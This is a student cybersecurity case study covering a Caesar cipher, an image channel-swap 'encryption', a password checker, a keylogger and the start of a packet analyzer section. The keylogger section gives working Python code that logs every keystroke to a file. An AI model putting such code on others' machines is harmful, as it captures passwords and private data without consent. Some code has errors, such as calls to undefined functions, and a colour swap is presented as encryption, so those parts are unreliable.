0% found this document useful (0 votes)
29 views42 pages

Case Study (LP)

Case study hfdjh hhfho

Uploaded by

Lakkasha Prasad
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
29 views42 pages

Case Study (LP)

Case study hfdjh hhfho

Uploaded by

Lakkasha Prasad
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 42

Case Study

Submitted By:
LEKKASHA PRASAD S R (23CSEH18)
M.Sc.Cyber Security
Under the Guidance of

Dr.R.RAJESWARI
Professor,
Department of Computer
Applications, Bharathiar University

DEPARTMENT OF COMPUTER APPLICATION


BHARATHIAR UNIVERSITY
COIMBATORE
NOVEMBER-2024
DECLARATION

I hereby declare that this submitted Case Study to the Department of Computer
Applications, Bharathiar University, is a record of original work done by
LEKKASHA PRASAD S R (23CSEH18) under the supervision and guidance
of Dr. R. RAJESWARI, MCA, Ph.D, Department of Computer Applications,
Bharathiar University. I affirm that this Case Study has not been submitted for
the award of any Degree/Diploma/Associate ship/Fellowship or similar title to
any candidate of any University.

Place : Coimbatore Signature of the candidate

Date :

Countersigned by,

Dr.R.RAJESWARI
Professor,
Department of Computer
Applications, Bharathiar University
CERTIFICATE

This is to certify that the case study titled “ ”, submitted to the Department of
Computer Applications, Bharathiar University in partial fulfilment of the
requirements for the award of the degree of Masters Of Science in Cyber
Security, is a record of original work done by LEKKASHA PRASAD S R
(23CSEH18) under the supervision and guidance of Dr.R.RAJESWARI during
the period of study in the Department of Computer Applications, Bharathiar
University, Coimbatore,and that this project work has not formed the basis for
the award of any Degree/Diploma /Associateship/ Fellowship or similar title to
any candidate of any University.

Place:Coimbatore

Project Guide Head of the Department

Submitted for the Project VIVA-VOCE Examination held on

Internal Examiner External Examiner


TABLE OF CONTENTS

S. No Task Title Pg. No


1 Create a .py that can encrpt and decrypt text using the 1
Caesar cipher algorithm
2 Develop a simple image encryption toll using pixel 6
manipulation

3 Build a tool that assesses the password complexity 10


checker

4 Create a basic keylogger program that records and logs 16


keystrokes

5 Develop a packet sniffer tool that captures and analyzes 22


network packets
1. CAESAR CIPHER

1.1 CAESAR CIPHER :

The Caesar cipher is one of the simplest and oldest encryption techniques, named
after Julius Caesar who used it for secure communication. The Caesar cipher is a
substitution cipher where each letter in the plaintext is shifted a fixed number of
positions down or up the alphabet. This shift value is known as the key. For example,
with a shift of 3, A becomes D, B becomes E, and so on.

Encryption Process: To encrypt a message, follow these steps:

1. Choose a shift value (key). For instance, let's use 3.


2. For each letter in the plaintext, find its position in the alphabet (A=0, B=1,
etc.).

Shift this position by the chosen key and convert it back to a letter. If shifting past
'Z', wrap around to the beginning of the alphabet. Example:

 Plaintext: HELLO
 Shift (Key): 3
 Ciphertext: KHOOR

Here, H (7th letter) is shifted to K (10th letter), E (4th letter) to H (7th letter), and so
on.

Decryption Process: To decrypt, simply reverse the shift by subtracting the key
from each letter of the ciphertext.

Advantages:

 Easy to implement and understand.


 Quick encryption and decryption process.

Disadvantages:

 Very weak security as it can be easily broken using frequency analysis or brute
force due to the limited number of possible keys (25 shifts).
1
The Caesar cipher, while not suitable for serious encryption needs today, serves as an
excellent introduction to the concepts of cryptography.

1.2 KEY FEATURES :

1. Simplicity:
o The Caesar cipher is easy to understand and implement, making it an
excellent introduction to the concept of cryptography.
2. Fixed Shift:
o Each letter in the plaintext is shifted by a fixed number of positions
down or up the alphabet. This shift value is known as the key.
3. Substitution Cipher:
o It is a type of substitution cipher where each letter in the plaintext is
replaced by a letter some fixed number of positions later in the alphabet.
4. Symmetric Key Encryption:
o Both the sender and the receiver use the same key (shift value) for
encryption and decryption. This is known as symmetric key encryption.
5. Alphabet Wrapping:
o When the shift reaches the end of the alphabet, it wraps around to the
beginning. For example, with a shift of 3, Z becomes C.
6. Case Sensitivity:
o The cipher typically operates on the uppercase or lowercase letters
separately, maintaining the case of the original text.
7. Historical Usage:
o Named after Julius Caesar, who reportedly used it to communicate with
his generals, it has historical significance as one of the earliest known
ciphers.
8. Weak Security:
o While it demonstrates basic encryption principles, the Caesar cipher is
not secure by modern standards. It can be easily broken using frequency
analysis or brute force due to the limited number of possible keys (only
25 shifts).

1.3 TYPICAL USE :

Educational Purposes
2
1. Introduction to Cryptography:
o The Caesar cipher is often used to introduce students and beginners to
the concepts of encryption and decryption. Its simplicity helps in
understanding the basic principles without the complexity of more
advanced algorithms.

Historical Context

2. Historical Study:
o The cipher is studied in the context of historical cryptography,
particularly in courses or discussions about ancient Roman
communication methods and the evolution of cryptographic techniques.

Recreational Use

3. Puzzles and Games:


o It is commonly used in puzzles, escape rooms, and geocaching
activities. The straightforward nature of the cipher makes it suitable for
recreational challenges and learning exercises.

Data Obfuscation

4. Simple Data Obfuscation:


o While not secure for sensitive data, the Caesar cipher can be used to
obfuscate information in contexts where security is not a primary
concern, such as simple coding exercises or non-critical application.

1.4OBJECTIVE

Create a python program that can encrypt and decrypt text using the
Caesar cipher algorithm .Allow users to input a message and a shift value
to perform encryption and decryption.

1.5 METHODOLOGY

1. Choose a Shift Value (Key)


o This is the number of positions each letter in the plaintext will be
shifted. For example, if the shift value is 3, each letter will be moved
three places forward in the alphabet.
2. Write Down the Alphabet

3
o Write down the alphabet in order from A to Z. This will help you
visualize the shift.
3. A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

4. Encrypting Each Letter


o For each letter in your message (plaintext), find its position in the
alphabet.
o Shift that letter by the chosen key (number of positions). For example,
with a shift of 3:
 A becomes D
 B becomes E
 C becomes F, and so on.
o If the shift moves past Z, wrap around to the beginning of the alphabet.
5. Handling Non-Letter Characters
o Leave spaces, punctuation marks, and numbers unchanged. Only shift
the letters.
6. Combine the Shifted Letters
o Put all the shifted letters together to form the encrypted message
(ciphertext).

Example

Let's encrypt the message "HELLO" with a shift value of 3:

1. Write down the alphabet:


2. A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

3. Encrypt each letter:


o H (8th letter) -> K (11th letter)
o E (5th letter) -> H (8th letter)
o L (12th letter) -> O (15th letter)
o L (12th letter) -> O (15th letter)
o O (15th letter) -> R (18th letter)
4. Combine the shifted letters to form the ciphertext: KHOOR

Decrypting the Message

To decrypt a message encrypted with the Caesar cipher, follow the same steps but
shift the letters in the opposite direction (subtract the shift value).

4
Example in Python Code

Here's how you can implement the Caesar cipher in Python:

# IMPLEMENT_CAESAR_CIPHER

def caesar_encrypt(text, shift):


encryp_txt = ""
for char in text:
if char.isalpha():
shift_value = ord('A') if char.isupper() else ord('a')
encrypt_char = chr((ord(char) - shift_value + shift) % 26 + shift_value)
encryp_txt += encrypt_char
else:
encryp_txt += char
return encryp_txt

def caesar_decrypt(text, shift):


return caesar_encrypt(text, -shift)

def main():
while True:
print(" ")
choice = input("Would you like to (E)ncrypt or (D)ecrypt a message? (Q to
quit): ").upper()
if choice == 'Q':
break
elif choice in ['E', 'D']:
print(" ")
message = input("Enter your message: ")
print(" ")
shift = int(input("Enter the shift value (0-25): "))
print(" ")
if choice == 'E':
encrypted_message = caesar_encrypt(message, shift)
print(f"Encrypted message: {encrypted_message}")
print(" ")
else:
decrypted_message = caesar_decrypt(message, shift)
5
print(f"Decrypted message: {decrypted_message}")
print(" ")
else:
print("Invalid choice. Please choose E, D, or Q.")
print(" ")

if __name__ == "__main__":
main()

# Example usage

plaintext = "HELLO"
shift = 3
ciphertext = caesar_cipher_encrypt(plaintext, shift)
print(f"Encrypted: {ciphertext}")
print(f"Decrypted: {caesar_cipher_decrypt(ciphertext, shift)}")

6
1.6 CONCLUSION :

By understanding the methodology, historical context, and practical implementation


of the Caesar cipher, learners can build a strong foundation in cryptography and
appreciate the evolution of more advanced encryption techniques.

7
2 PIXEL MANIPULATION

2.1PIXEL MANIPULATION :

Pixel manipulation is a fundamental technique in digital image processing where


individual pixels (the smallest units of an image) are altered to achieve various
effects, corrections, or enhancements.

Basics of Pixels

 Pixel Definition: A pixel is the smallest controllable element of a picture


represented on a screen. Each pixel contains color information, usually
described by RGB (Red, Green, Blue) values.
 Image Composition: An image is composed of a grid of pixels, and
manipulating these pixels can change the appearance of the image.

Common Pixel Manipulation Techniques

1. Color Adjustment:
o Brightness and Contrast: Adjust the brightness (overall lightness) and
contrast (difference between the darkest and brightest areas) by altering
the RGB values of pixels.
o Color Correction: Change the color balance to correct or enhance
colors by adjusting the individual RGB components.
2. Filtering and Smoothing:
o Blurring: Apply a blur effect by averaging the color values of
neighboring pixels, reducing sharpness.
o Sharpening: Enhance the edges by increasing the contrast between
neighboring pixels.
3. Transformation:
o Scaling: Resize an image by adding or removing pixels.
o Rotation: Rotate an image by changing the positions of pixels
according to a rotation matrix.
4. Edge Detection:
o Use algorithms like the Sobel or Canny edge detectors to identify and
highlight the edges within an image by detecting changes in pixel
intensity.
8
5. Image Enhancement:
o Noise Reduction: Remove random variations in pixel intensity, known
as noise, to produce a cleaner image.
o Detail Enhancement: Enhance fine details by adjusting the pixel values
to bring out textures and patterns.

Example in Python using PIL (Pillow)

Here’s a simple example of pixel manipulation in Python using the Pillow library:

python
from PIL import Image, ImageEnhance

# Open an image file


image = Image.open("example.jpg")

# Adjust brightness
enhancer = ImageEnhance.Brightness(image)
bright_image = enhancer.enhance(1.5) # Increase brightness by 50%

# Save the modified image


bright_image.save("bright_example.jpg")

This code demonstrates how to adjust the brightness of an image by manipulating its
pixels.

Applications

 Photo Editing: Enhance or correct images in software like Photoshop.


 Graphics Design: Create specific visual effects or artwork.
 Medical Imaging: Improve the quality of medical scans for better diagnosis.
 Computer Vision: Prepare and preprocess images for machine learning
models.

9
2.2 KEYFEATURES :

1. Precision Control:
o Direct Access: Manipulate individual pixels to achieve fine-tuned
adjustments, allowing for detailed corrections and enhancements.
o Color Adjustments: Modify the RGB (Red, Green, Blue) values of
each pixel to change the color, brightness, and contrast.
2. Image Enhancement:
o Noise Reduction: Remove unwanted noise or graininess from images to
improve clarity.
o Sharpening: Enhance the edges and details of an image to make it
appear more defined.
3. Transformations:
o Scaling: Resize images by adding or removing pixels.
o Rotation and Flipping: Change the orientation of an image by rotating
or flipping its pixels.
4. Filtering:
o Blurring: Apply a blur effect by averaging the color values of
neighboring pixels to reduce sharpness.
o Edge Detection: Identify and highlight edges within an image by
detecting changes in pixel intensity.
5. Color Correction:
o Adjust Color Balance: Correct or enhance colors by adjusting
individual color channels.
o Grayscale Conversion: Convert an image to grayscale by averaging the
RGB values of each pixel.
6. Special Effects:
o Sepia Tone: Apply a sepia filter to give the image a warm, brownish
tone.
o Negative Effect: Invert the colors of the image to create a negative
effect.
7. Image Composition:
o Overlay: Combine multiple images by overlaying them and adjusting
the transparency of each layer.
o Cropping: Remove unwanted sections of an image by selecting and
retaining only the desired portion.
8. Automation:
o Batch Processing: Apply pixel manipulation techniques to multiple
images simultaneously, streamlining the workflow.

10
2.3 TYPICAL USES :

1. Photo Editing

 Enhancement: Adjust brightness, contrast, and saturation to improve image


quality.
 Retouching: Remove blemishes, correct color balance, and enhance details.
 Creative Effects: Apply filters, blurring, or sharpening to create artistic
effects.

2. Graphic Design

 Image Composition: Combine multiple images, add text, and create complex
designs.
 Logo and Branding: Design logos, icons, and other branding elements by
manipulating pixels.
 Web Design: Create web graphics, buttons, and banners tailored for websites.

3. Medical Imaging

 Image Analysis: Enhance medical images (e.g., X-rays, MRIs) to aid in


diagnosis.
 Noise Reduction: Improve image clarity by reducing noise and artifacts.
 Segmentation: Identify and isolate specific regions within an image for
detailed study.

4. Computer Vision

 Object Detection: Process images to identify and classify objects.


 Pattern Recognition: Recognize patterns and features in images for machine
learning models.
 Motion Detection: Track movement within a sequence of images or video
frames.

5. Video Production

 Frame-by-Frame Editing: Manipulate individual frames in a video for


effects and corrections.
 Special Effects: Add visual effects, transitions, and animations to videos.
 Color Grading: Adjust the color tones throughout a video to achieve a
consistent look.
11
6. Scientific Research

 Astronomy: Enhance and analyze images of celestial bodies.


 Microscopy: Improve visibility and analysis of microscopic images.
 Remote Sensing: Process satellite images for environmental monitoring and
land-use analysis.

7. Security and Surveillance

 Face Recognition: Enhance facial features for identification purposes.


 License Plate Recognition: Improve image quality to accurately read license
plates.
 Intrusion Detection: Monitor and analyze video feeds to detect unauthorized
access.

8. Art and Animation

 Digital Art: Create digital paintings and illustrations using pixel-level


techniques.
 2D Animation: Manipulate pixel layers to create animated sequences.
 Pixel Art: Craft pixel-based graphics for video games and animations.

2.4 OBJECTIVE:

Develop a simple image encryption tool usuing pixel manipulation .you can
perform operations like swapping pixel values or applying a basic
mathematical operation to each pixel.Allow users to encrypt and decrypt
images .

2.5 METHODOLOGY:

1. Understanding the Basics:


o Pixel: The smallest unit of a digital image. Each pixel has a color value.
o RGB Values: Each pixel's color is defined by Red, Green, and Blue
(RGB) values. These values range from 0 to 255.
2. Loading an Image:
o Use a programming language like Python with the Pillow (PIL) library
to open and manipulate images.

python

12
from PIL import Image
image = Image.open("example.jpg")

3. Accessing Pixel Data:


o Convert the image to a format that allows pixel manipulation (e.g., an
array of RGB values).

python

pixels = image.load()
width, height = image.size

4. Manipulating Pixels:
o Iterate through each pixel in the image to read and modify its values.

python

for y in range(height):
for x in range(width):
r, g, b = pixels[x, y] # Get RGB values
# Example: Increase brightness
pixels[x, y] = (min(r + 50, 255), min(g + 50, 255), min(b + 50, 255))

5. Saving the Modified Image:


o After making changes, save the new image.

python

image.save("modified_example.jpg")

6. Applying Filters:
o Use predefined filters to enhance or alter the image, such as blurring or
sharpening.

python

from PIL import ImageFilter


blurred_image = image.filter(ImageFilter.BLUR)
blurred_image.save("blurred_example.jpg")
Example: Changing the Brightness

Let's walk through an example where we increase the brightness of an image:


13
1. Load the Image:

python

from PIL import Image


image = Image.open("example.jpg")

2. Access and Modify Pixels:

python

pixels = image.load()
width, height = image.size

for y in range(height):
for x in range(width):
r, g, b = pixels[x, y]
# Increase brightness by adding a fixed value, ensuring we don't exceed
255
pixels[x, y] = (min(r + 50, 255), min(g + 50, 255), min(b + 50, 255))

3. Save the Modified Image:

python

image.save("brightened_example.jpg")

from PIL import Image

def encrypt_image(input_image_path, output_image_path):


# Open the image
with Image.open(input_image_path) as img:
# Convert the image to RGB mode
img = img.convert("RGB")
# Get the size of the image
width, height = img.size

# Load the pixel data


pixels = img.load()

# Swap the red and blue pixels


for x in range(width):
14
for y in range(height):
r, g, b = pixels[x, y]
pixels[x, y] = (b, g, r)

# Save the encrypted image


img.save(output_image_path)

def decrypt_image(input_image_path, output_image_path):


# Open the image
with Image.open(input_image_path) as img:
# Convert the image to RGB mode
img = img.convert("RGB")
# Get the size of the image
width, height = img.size

# Load the pixel data


pixels = img.load()

# Swap the red and blue pixels back


for x in range(width):
for y in range(height):
b, g, r = pixels[x, y]
pixels[x, y] = (r, g, b)

# Save the decrypted image


img.save(output_image_path)

# Example usage:
encrypt_image('demo.jpg', 'encrypted_image.jpg')
decrypt_image('encrypted_image.jpg', 'decrypted_image.jpg')

15
2.6 CONCLUSION

Pixel manipulation is a fundamental technique in digital image processing that


allows for the precise control and alteration of individual pixels within an image.
This technique is integral to various applications, including photo editing, graphic
design, medical imaging, and computer vision.

16
3 . PASSWORD COMPLEXITY CHECKER

3.1 PASSWORD COMPLEXITY CHECKER:

A password complexity checker is a tool designed to evaluate the strength of your


passwords to ensure they meet certain security standards.

3.2KEY FEATURES :

 Length Check: Ensures the password is long enough (e.g., at least 8-12
characters).
 Character Variety: Checks for a mix of uppercase and lowercase letters,
numbers, and special characters.
 Pattern Detection: Identifies common patterns or sequences (e.g., "12345" or
"qwerty") that make passwords easier to guess.
 Dictionary Check: Looks for common words or phrases that are easily
guessable.

Benefits

 Enhanced Security: Helps create stronger passwords that are harder to crack.
 User Awareness: Educates users on what makes a password strong and why it
matters.
 Compliance: Ensures passwords meet security policies and standards.

Example

 Password: P@ssw0rd123
 Evaluation:
o Length: 12 characters (Good)
o Character Variety: Mix of uppercase, lowercase, numbers, and special
characters (Good)
o Pattern Detection: No common patterns detected (Good)
o Dictionary Check: Not a common word (Good)
 Rating: Strong

3.3 TYPICAL USES :

1. Security Compliance:
o Organizations use password complexity checkers to ensure employees’
passwords meet security policy requirements. This helps in maintaining
compliance with industry standards and regulations.
17
2. User Education:
o Helps users understand what makes a password strong or weak. By
providing real-time feedback, users learn to create more secure
passwords.
3. Account Setup and Maintenance:
o During account creation or password change processes, complexity
checkers ensure that new passwords meet predefined security criteria,
reducing the risk of weak passwords.
4. IT Support:
o IT departments use these tools to enforce password policies and assist
users in generating secure passwords, reducing the likelihood of account
breaches.
5. Password Management Tools:
o Many password managers incorporate complexity checkers to help users
generate and store strong passwords across different platforms and
services.
6. Educational Institutions:
o Schools and universities use them to teach students about cybersecurity
best practices, helping to foster a culture of security awareness from a
young age.
7. Software Development:
o Developers integrate password complexity checkers into applications to
enhance security features, ensuring users create strong passwords when
registering or updating their accounts.

3.4 OBJECTIVE:

Build a tool that assesses the strength of a password based on criteria such as
length,presence of uppercase and lowercase letters ,numbers and special
characters .provide feedback to users on the passwords strength.

3.5 METHODOLOGY

. Understand the Basics of Password Strength

 Length: The more characters a password has, the stronger it is.


 Variety: A mix of uppercase letters, lowercase letters, numbers, and special
characters makes a password more difficult to guess.

18
2. Choose a Platform for Implementation

 Programming Languages: Python is a great choice for beginners.


 Libraries: Use libraries like re for regular expressions to check for patterns in
passwords.

3. Set Up Your Development Environment

 Install Python if not already installed.


 Use a text editor or IDE (Integrated Development Environment) like Visual
Studio Code or PyCharm.

4. Write the Code


Step-by-Step Code Example in Python:

 Step 1: Start by importing necessary libraries.

python

import re

 Step 2: Define the function to check password complexity.Code in python

python

def check_password_complexity(password):
# Check length
if len(password) < 8:
return "Password must be at least 8 characters long."

# Check for uppercase letter


if not re.search(r'[A-Z]', password):
return "Password must include at least one uppercase letter."

# Check for lowercase letter


if not re.search(r'[a-z]', password):
return "Password must include at least one lowercase letter."

# Check for digit


if not re.search(r'[0-9]', password):
return "Password must include at least one digit."

19
# Check for special character
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return "Password must include at least one special character."

return "Password is strong."

 Step 3: Test the function with different passwords.

python

# Example usage
passwords = ["Password123", "password", "PASSWORD", "Pass123",
"P@ssw0rd"]
for pwd in passwords:
print(f"{pwd}: {check_password_complexity(pwd)}")
5. Explain the Function

 Length Check: Ensures the password is at least 8 characters long.


 Uppercase Letter Check: Looks for at least one uppercase letter.
 Lowercase Letter Check: Looks for at least one lowercase letter.
 Digit Check: Ensures there is at least one number in the password.
 Special Character Check: Requires at least one special character from the
specified list.

 import re
 import tkinter as tk
 from tkinter import messagebox, ttk
 import pyperclip

 def assess_password_strength(password):
 length_criteria = len(password) >= 8
 uppercase_criteria = re.search(r'[A-Z]', password) is not None
 lowercase_criteria = re.search(r'[a-z]', password) is not None
 number_criteria = re.search(r'[0-9]', password) is not None
 special_char_criteria = re.search(r'[@$!%*?&]', password) is not None

 criteria_met = sum([length_criteria, uppercase_criteria, lowercase_criteria,
 number_criteria, special_char_criteria])

 if criteria_met == 5:
 strength = "Very Strong"
20
 elif criteria_met == 4:
 strength = "Strong"
 elif criteria_met == 3:
 strength = "Moderate"
 elif criteria_met == 2:
 strength = "Weak"
 else:
 strength = "Very Weak"

 feedback = []
 if not length_criteria:
 feedback.append("Password should be at least 8 characters long.")
 if not uppercase_criteria:
 feedback.append("Password should contain at least one uppercase
letter.")
 if not lowercase_criteria:
 feedback.append("Password should contain at least one lowercase
letter.")
 if not number_criteria:
 feedback.append("Password should contain at least one number.")
 if not special_char_criteria:
 feedback.append("Password should contain at least one special character
(e.g., @$!%*?&).")

 return strength, feedback

 def evaluate_password(event=None):
 password = entry.get()
 strength, feedback = assess_password_strength(password)

 result_label.config(text=f"Password Strength: {strength}")

 feedback_text.delete(1.0, tk.END)
 if feedback:
 feedback_text.insert(tk.END, "Feedback:\n")
 for line in feedback:
 feedback_text.insert(tk.END, f"- {line}\n")
 else:
 feedback_text.insert(tk.END, "Your password meets all strength
criteria!")

21
 def on_password_change(event):
 password = entry.get()
 strength, feedback = assess_password_strength(password)
 result_label.config(text=f"Password Strength: {strength}")
 update_strength_meter(strength)
 feedback_text.delete(1.0, tk.END)
 if feedback:
 feedback_text.insert(tk.END, "Feedback:\n")
 for line in feedback:
 feedback_text.insert(tk.END, f"- {line}\n")
 else:
 feedback_text.insert(tk.END, "Your password meets all strength
criteria!")

 def update_strength_meter(strength):
 if strength == "Very Strong":
 strength_meter['value'] = 100
 elif strength == "Strong":
 strength_meter['value'] = 80
 elif strength == "Moderate":
 strength_meter['value'] = 60
 elif strength == "Weak":
 strength_meter['value'] = 40
 else:
 strength_meter['value'] = 20

 def copy_password_to_clipboard():
 password = entry.get()
 pyperclip.copy(password)
 messagebox.showinfo("Password Copied", "The password has been copied
to the clipboard.")

 # Set up the main application window
 root = tk.Tk()
 root.title("Advanced Password Strength Checker")
 root.geometry("500x400")
 root.config(bg="#1e1e1e")

 # Create a frame for the input
 input_frame = tk.Frame(root, bg="#2e2e2e")
 input_frame.pack(pady=20, padx=20, fill="x")
22

 # Create widgets
 entry_label = tk.Label(input_frame, text="Enter a password:", bg="#2e2e2e",
fg="#f0f0f0", font=("Helvetica", 12))
 entry = tk.Entry(input_frame, width=30, font=("Helvetica", 12), show="*")
 copy_button = tk.Button(input_frame, text="Copy",
command=copy_password_to_clipboard, font=("Helvetica", 12),
 bg="#2980b9", fg="#f0f0f0", relief="flat")

 entry_label.grid(row=0, column=0, pady=10, padx=10, sticky="e")
 entry.grid(row=0, column=1, pady=10, padx=10)
 copy_button.grid(row=1, column=1, pady=10)

 # Bind the Enter key and password changes to functions
 entry.bind('<Return>', evaluate_password)
 entry.bind('<KeyRelease>', on_password_change)

 # Create a frame for the output
 output_frame = tk.Frame(root, bg="#2e2e2e")
 output_frame.pack(pady=10, padx=20, fill="both", expand=True)

 # Strength meter
 strength_meter = ttk.Progressbar(output_frame, orient="horizontal",
length=200, mode="determinate")
 strength_meter.pack(pady=10)

 result_label = tk.Label(output_frame, text="", bg="#2e2e2e", fg="#f0f0f0",
font=("Helvetica", 14, "bold"))
 feedback_text = tk.Text(output_frame, width=50, height=10, wrap="word",
font=("Helvetica", 10), bg="#3e3e3e",
 fg="#f0f0f0", relief="flat")

 result_label.pack(pady=10)
 feedback_text.pack(pady=10, padx=10, fill="both", expand=True)

 # Start the main event loop
 root.mainloop()

6. Run and Test

23
 Run the script in your development environment to see the results for different
passwords.
 Test with various inputs to ensure the checker accurately evaluates password
strength.

7. Refine and Improve

 You can add more checks or customize the criteria based on specific security
policies or requirements

24
3.6 CONCLUSION:

A password complexity checker is an essential tool in modern cybersecurity. It


ensures the creation of strong, secure passwords by evaluating their strength against
predefined criteria. By enforcing length, character variety, and pattern checks, it
helps prevent unauthorized access to accounts and systems. Ensures adherence to
organizational security policies and standard.

25
4. SIMPLE KEYLOGGER :

4.1 SIMPLE KEYLOGGER:

A simple keylogger is typically a software program that operates in the background


of a computer system, logging every key pressed by the user. It can be used for
various purposes, both legitimate and malicious.

4.2 KEY FEATURES :

1. Keystroke Capture: The core function is to record each keystroke.


2. Data Storage: The logged keystrokes are saved to a file, often on the local
machine.
3. Retrieval Mechanism: In some cases, the logged data can be sent to a remote
location for review.

Risks and Concerns:

 Privacy Invasion: Keyloggers can capture sensitive information like


passwords and credit card numbers.
 Unauthorized Use: Cybercriminals use keyloggers to steal personal
information and commit fraud.

Example in Python: basic example of how a simple keylogger might be


implemented in Python for educational purposes:

python
import pynput

# Function to log keystrokes


def on_press(key):
try:
with open("log.txt", "a") as log_file:
log_file.write(f"{key.char}\n")
except AttributeError:
pass

# Listener setup
with pynput.keyboard.Listener(on_press=on_press) as listener:
26
listener.join()

Note: This code is for educational purposes only.

Prevention:

 Antivirus Software: Use updated antivirus software to detect and remove


keyloggers.
 Regular Updates: Keep your operating system and software updated to
protect against vulnerabilities.
 Caution: Avoid downloading software from untrusted sources and be cautious
with suspicious emails and links.

4.3 TYPICAL USES:

Legitimate Uses

1. Parental Monitoring:
o Parents may use keyloggers to monitor their children's online activities
to ensure their safety and protect them from inappropriate content or
online predators.
2. Employee Monitoring:
o Employers might use keyloggers to monitor employees' activities on
company computers, ensuring that company resources are being used
appropriately and that sensitive information is not being mishandled.
3. Self-Monitoring:
o Individuals might use keyloggers to keep track of their own activities,
such as capturing important text that may be accidentally deleted or lost.
4. Debugging and Testing:
o Developers may use keyloggers for debugging and testing purposes,
especially when developing software that involves keyboard input.
5. Computer Forensics:
o In forensic investigations, keyloggers can be used to gather evidence
from computers involved in criminal activities.

Illegitimate Uses

1. Unauthorized Surveillance:
o Cybercriminals use keyloggers to spy on individuals and steal sensitive
information such as passwords, credit card numbers, and other personal
data.

27
2. Identity Theft:
o Keyloggers can be used to capture login credentials and personal
information, leading to identity theft and financial fraud.
3. Corporate Espionage:
o Malicious actors might use keyloggers to gain access to confidential
business information, trade secrets, or intellectual property.

Prevention and Security Measures

 Use Antivirus Software: Ensure your antivirus software is up-to-date to


detect and remove keyloggers.
 Regularly Update Software: Keep your operating system and applications
updated to protect against vulnerabilities.
 Be Cautious with Downloads: Avoid downloading software from untrusted
sources and be wary of email attachments and links from unknown senders.
 Use Strong Passwords: Implement strong, unique passwords and consider
using a password manager to enhance security.

4.4 OBJECTIVE :

Create a basic keylogger program that records and logs keystrokes. Focus on
logging the keys pressed and saving them to a file. Note: Ethical considerations and
permissions are crucial for keyloggers.

4.5 METHODOLOGY :

1. Understand the Basics

 Keylogger Definition: A program that records every keystroke made by a user


on a keyboard.
 Legal and Ethical Use: Ensure you have permission to use the keylogger on
the device where it will be installed.

2. Set Up Your Development Environment

 Programming Language: Python is a popular choice due to its simplicity and


powerful libraries.
 Libraries: Use libraries like pynput for capturing keyboard input.

28
3. Install Necessary Libraries

 Install the required libraries using pip:

bash

pip install pynput


4. Write the Keylogger Code

 Create a new Python script and import the necessary modules:

python

from pynput.keyboard import Listener

5. Define the Keystroke Logging Function

 Define a function to handle the recording of keystrokes:

python

def on_press(key):
try:
with open("log.txt", "a") as log_file:
log_file.write(f"{key.char}\n")
except AttributeError:
with open("log.txt", "a") as log_file:
log_file.write(f"{key}\n")
6. Set Up the Listener

 Set up the listener to monitor keystrokes and call the logging function:

python

with Listener(on_press=on_press) as listener:


listener.join()
7. Run the Keylogger

 Execute the script to start logging keystrokes. The logged keystrokes will be
saved in a file named log.txt.

Code in Python
29
from pynput import keyboard

log_file = "keylogs.txt"
shift_keys = {keyboard.Key.shift, keyboard.Key.shift_l, keyboard.Key.shift_r}
ctrl_keys = {keyboard.Key.ctrl_l, keyboard.Key.ctrl_r}
modifier_keys = {
keyboard.Key.space: ' ',
keyboard.Key.enter: '\n',
keyboard.Key.backspace: '<BACKSPACE>',
keyboard.Key.tab: '<TAB>',
keyboard.Key.ctrl_l: '<CTRL>',
keyboard.Key.ctrl_r: '<CTRL>',
keyboard.Key.alt_l: '<ALT>',
keyboard.Key.alt_r: '<ALT>'
}

def on_press(key):
with open(log_file, 'a') as f:
if key in modifier_keys:
f.write(modifier_keys[key])
elif key in shift_keys or key in ctrl_keys:
pressed_keys.add(key) # Track pressed modifier keys
else:
try:
if key.char:
if keyboard.Key.ctrl_l in pressed_keys or keyboard.Key.ctrl_r in
pressed_keys:
if key.char.lower() == 'c':
f.write('<CTRL+C>')
elif key.char.lower() == 'v':
f.write('<CTRL+V>')
else:
f.write(f'<CTRL+{key.char.upper()}>')
elif any(k in pressed_keys for k in shift_keys):
f.write(key.char.upper())
else:
f.write(key.char)
except AttributeError:
pass

30
def on_release(key):
if key == keyboard.Key.esc:
return False
if key in shift_keys or key in ctrl_keys:
pressed_keys.discard(key)
elif key in modifier_keys:
pass # No action needed for modifier keys on release
else:
try:
pressed_keys.discard(key)
except KeyError:
pass

pressed_keys = set()
with keyboard.Listener(
on_press=lambda key: pressed_keys.add(key) or on_press(key),
on_release=on_release) as listener:
listener.join()
Security and Ethical Considerations

 Legal Use: Always ensure you have explicit permission to use a keylogger on
any device. Unauthorized use is illegal and unethical.
 Detection and Prevention: Use antivirus software and keep your system
updated to protect against malicious keyloggers.

Practical Applications

 Educational Purposes: Understand how keyloggers work and learn about


cybersecurity measures to protect against them.
 Self-Monitoring: Track your own keystrokes for productivity or debugging
purposes.

31
4.6 CONCLUSION:

A simple keylogger is a straightforward program designed to capture and


record every keystroke made on a keyboard. While it can be used for
legitimate purposes such as parental monitoring, employee supervision, and
self-tracking, it also poses significant security and ethical risks if misused
for malicious activities like unauthorized surveillance and data theft.
Understanding the capabilities and risks of keyloggers emphasizes the
importance of using such tools responsibly and ethically, while also taking
measures to safeguard personal and sensitive information from
unauthorized access.

32
5. NETWORK PACKET ANALYZER

5.1 NETWORK PACKET ANALYZER :

A network packet analyzer, also known as a packet sniffer, is a tool used to


intercept, capture, and analyze network traffic.

What It Does

 Intercepts Traffic: Captures data packets as they travel across a network.


 Analyzes Data: Examines the contents of these packets to understand the data
being transmitted.
 Logs Information: Records details about the packets, such as source and
destination addresses, protocols used, and payload data.

5.2 KEY FEATURES :

1. Traffic Capture:
o Real-Time Capture: Intercept and display live network traffic as it
happens.
o Offline Analysis: Save captured packets to a file for later analysis.
2. Detailed Packet Analysis:
o Protocol Decoding: Understand and decode various network protocols,
such as TCP, UDP, HTTP, and more.
o Packet Filtering: Apply filters to focus on specific types of traffic or
packets, such as those from a particular IP address or using a certain
protocol.
3. Data Visualization:
o Graphs and Charts: Visualize network activity and traffic patterns
through graphs and charts.
o Flow Graphs: Display communication flows between network devices.
4. Search and Navigation:
o Packet Browsing: Navigate through captured packets easily with
detailed views and summaries.
